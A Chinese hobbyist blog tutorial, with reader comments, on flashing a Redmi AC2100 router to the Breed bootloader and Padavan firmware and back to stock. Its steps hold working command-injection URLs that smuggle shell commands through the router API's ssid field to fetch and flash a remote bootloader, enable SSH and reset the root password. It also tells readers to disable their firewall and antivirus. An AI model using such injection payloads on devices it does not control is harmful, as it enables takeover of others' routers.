首页 » 网络 » 正文

红米AC2100刷Padavan老毛子固件+刷回官方固件

1. 为什么要给路由器刷机?

由于国内法律法规的因素,国内路由器在功能性上都极为简洁,删减了众多实用的扩展功能,比如去广告、 科学上网等,毕竟会侵犯某些人的利益也能理解,但使我们的可玩性降低。

给路由器刷机就是重新刷个系统,释放更多的功能供我们使用,某些路由器刷了其他固件后可能会比原厂固件更稳定一些。

 

2. 各个固件的关系:

Linksys推出WRT54G路由器,由于系统使用很多开源代码,被迫开源。

WRT54G

  •  OpenWrt
    • ASUSWRT
      • 博通->梅林(主要是华硕路由器)
      • MTK->老毛子Padavan
    • ddwrt
    • pandora
    • lede
  •  HyperWrt

 

本文涉及的软件包请从这里下载:

蓝奏云:https://wws.lanzoui.com/io6qdmmhupg 密码:5q3u

 

刷机前请注意:

1. 关闭电脑上的防火墙以及杀毒软件;

2. 请全程保持电脑与路由器网线连接,电脑设置为自动获取IP;

3. 禁止其他不相关的网卡;

4. 准备一根牙签。

 

3. 刷Breed

方式一:(一键在线刷breed,推荐)

1. 确保红米AC2100路由器官方固件版本为2.0.23,可登录路由器后台查看版本,如果不是请先进行升级或降级;

2. 确保路由器可正常联网,因为需要在线下载breed;

3. 获取 stok 值,登录小米路由器后台,在地址栏会看到 stok 的值,如下:

stok是 ac40dd7b2aeb62b49986568c53c57e7e

4. 将 stok 的值替换下面链接中的<STOK>,包括单书名号,然后在浏览器中执行替换后的链接:

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20-o%20B%20-O%20https%3A%2F%2Fbreed.hackpascal.net%2Fbreed-mt7621-xiaomi-r3g.bin%20-k%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%20242d42eb5f5aaa67ddc9c1baf1acdf58d289e3f792adfdd77b589b9dc71eff85)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A

– 路由器会在60秒内重启,灯会从则代表刷BREED成功。成功后拔掉电源,按住reset同时接上电源等10秒即可进入breed,地址为192.168.1.1。
– 如果出现 {“code”:401,”msg”:”Invalid token”} 或没有重启,则可能是 stok 过期了。重启路由器,重新进入后台复制新的 stok即可。也有可能下载的BREED损坏,从新运行代码。也有可能没网络。

 

说明:

此方法来自:

– openwrt官网 https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100

– 恩山论坛 https://www.right.com.cn/forum/thread-4066963-1-1.html

 

方式二:(离线情况)

如果方式一不成功,可以尝试使用方式二。

获取路由器ssh远程登录权限:

1. 确保红米AC2100路由器官方固件版本为2.0.23,如果不是请进行升级或降级;

2. 获取 stok 值,登录小米路由器后台,在地址栏会看到 stok 的值,如:

stok是 ac40dd7b2aeb62b49986568c53c57e7e

3. 将 stok 的值替换下面链接中的<STOK>,包括单书名号,然后在浏览器中执行替换后的链接:

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B

4. 给路由器root账户设置密码:

将 stok 的值替换到下面链接中的<STOK>,包括单书名号,将<PASSWORD>改为你想设置的密码,如123456

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Aecho%20-e%20%27<PASSWORD>%5Cn<PASSWORD>%27%20%7C%20passwd%20root%0A

 

通过ssh登录路由器:

启动ssh工具 putty.exe ,填入路由器IP 192.168.31.1,点击Open

输入用户名 root  回车,密码 123456  回车 (注意:密码 不会显示,输入完成后直接回车)

 

上传breed包到路由器 /tmp 目录下:

安装 WinSCP-5.17.10-Setup.exe  并启动,安装一直点下一步即可。

成功上传后,在ssh命令行终端执行下面命令:

cd /tmp
mtd write breed-mt7621-xiaomi-r3g.bin Bootloader

如下:

完成后断开路由器电源,然后按住Reset键随即插入路由器电源,待蓝灯闪烁,放开Reset键,breed后台 http://192.168.1.1/

 

4. 刷入固件:

Padavan老毛子固件:

最新固件发布:https://t.me/s/pdcn1

下载地址:https://opt.cn2qq.com/padavan/ ( RM2100开头的那个,如:RM2100_3.4.3.9-099.trx)

刷入步骤:

断开路由器电源,然后按住Reset键随即插入路由器电源,待蓝灯闪烁,放开Reset键,进入breed后台 http://192.168.1.1/

点击“固件更新”,在固件处选择Padavan老毛子固件 RM2100_3.4.3.9-099.trx ,点击上传,然后点更新,更新完成后会自动重启

等待重启成功后即可进入路由器后台 http://192.168.123.1/  默认用户名: admin,  默认密码: admin

Wifi 名称分别为:PDCN  和 PDCN_5G  默认密码:1234567890

刷机完成。

 

刷机完成之后建议在路由器后台进行重置恢复出厂设置,因为如果你之前还刷过其他附件的话,有可能有残留数据导致新固件设置不能生效,所以有必要进行重置。

 

关于启用ADbyby去广告功能,规则显示是2017年的规则问题:

(注意:ADbyby并不能100%去除掉广告,但能够去除大部分,实测小米电视效果不错,请理性看待。)

来自恩山论坛大佬的解决办法:

是由于ADbyby脚本里的规则地址写的就是2017年的,可以ssh登录到路由器上修改脚本的内容,然后重启即可,方法如下:

1. 在路由器后台“系统管理”-“服务”,启用SSH服务改为“是”,然后确定。

2. 通过刷机包中的putty.exe工具连接到路由器,IP为192.168.123.1, 用户名admin,密码admin

3. 编辑脚 本 vi /etc/storage/script/Sh11_ad_byby.sh

将文件中: xwhyc_rules=”$hiboyfile/video.txt”

改为:         xwhyc_rules=”https://adbyby.coding.net/p/xwhyc-rules/d/xwhyc-rules/git/raw/master/video.txt”

将文件中: xwhyc_rules=”$hiboyfile/lazy.txt”

改为:         xwhyc_rules=”https://adbyby.coding.net/p/xwhyc-rules/d/xwhyc-rules/git/raw/master/lazy.txt”

改好后保存退出,然后路由器管理页面重启ADbyby。

此方法来自:https://www.chiphells.com/forum/thread-4084476-1-1.html

 

5. 恢复红米官方固件

以下所需文件均在文件包里。

官方bootloader:bootloader-redmi-ac2100.bin

官方rom地址:http://miwifi.com/miwifi_download.html

小米路由器修复工具:http://miwifi.com/miwifi_download.html

刷回官方bootloader:(如果没有刷breed可直接看第2步)

  • 通过网线将电脑与路由器LAN口连接,电脑设置为自动获取IP,禁止其他不相关网卡;
  • 首先进入breed后台:断开路由器电源,然后按住Reset键随即插入路由器电源,待蓝灯闪烁,放开Reset键;
  • 打开breed后台,浏览器访问 http://192.168.1.1/ ;
  • 点击“固件更新”,在Bootloader处选择电脑上的bootloader-redmi-ac2100.bin,点击上传,然后点更新,然后点击重启;

使用小米路由器修复工具刷回官方固件:

  • 通过网线将电脑与路由器LAN口连接,电脑设置为自动获取IP,禁止其他不相关网卡;
  • 重启后启动小米路由器修复工具 MIWIFIRepairTool.x86.exe ,选择红米官方固件miwifi_rm2100_all_fb720_2.0.23.bin,点击下一步;
  • 选择连接网线的以太网网卡,点击下一步;
  • 此时提示配置成功,这时断开路由器电源,然后按住Reset键随即插入路由器电源,直到橙灯闪烁松开Reset;
  • 等待几分钟,直到蓝灯闪烁时断开路由器电源,然后插上路由器电源进行重启;
  • 重启成功后,成功恢复官方固件,路由器后台地址为 http://192.168.31.1/

 

 

本文共 19 个回复

  • 天空 2021/09/29 22:44

    我刷回官方bootloader后,好像没有点重启,现在发现没法进入breed了,然后没有win系统电脑,也不知道能不能刷回红米固件了……

  • 匿名 2021/09/13 13:52

    在breed界面选择固件上传后,进度到33%就显示校验失败,咋解决呀 :?:

    • admin 博主 2021/09/14 10:14

      @ 重新下载固件试试

      • 匿名 2021/09/16 18:43

        @ admin 试了试,还是那样 :eek:

        • 匿名 2021/10/14 21:02

          @ 我的红米ac2100也是同样的问题,最后是刷pbboot,再刷老毛子就成功了

  • 匿名 2021/08/28 16:31

    将 stok 的值替换下面链接中的,包括单书名号,然后在浏览器中执行替换后的链接,显示Code0, 路由器会在60秒内重启,灯会从蓝变橘 这个没出现,现在咋整

  • 匿名 2021/08/22 13:58

    刷完进不去老毛子固件后台

    • 匿名 2021/09/18 11:56

      @ 解决了吗?我和你一样的问题

  • 匿名 2021/08/17 00:56

    档案下载不了,楼煮跟新下好吗

  • 匿名 2021/08/11 19:58

    {"code":401,"msg":"Invalid token"}出现这个怎么搞呢

    • admin 博主 2021/08/11 23:08

      @ stok 过期了,重启路由器,重新进入后台复制新的 stok即可。

      • 匿名 2021/08/12 19:32

        @ admin 没有用啊,试过好多次了

        • 佛花 2021/08/28 19:23

          @ 降级到2.0.7 把单书名号去掉试试

  • 匿名 2021/08/04 09:35

    楼主我家里没有牙签用吴签可以吗 :arrow:

  • /bin/cat 2021/05/25 23:33

    Broadcast Message from nobody@nobody (/dev/ttys001) at 23:32 CST... Not bad

  • 嘿嘿 2021/04/10 15:56

    刷完获取不了ip 那里出问题

  • DT 2021/03/31 14:39

    小米AC2100 也可以一键在线刷breed吗?代码也是一样的是吗?

  • 匿名 2021/03/17 17:53

  • 匿名 2021/03/17 17:52

    test

发表评论

验证码加载中....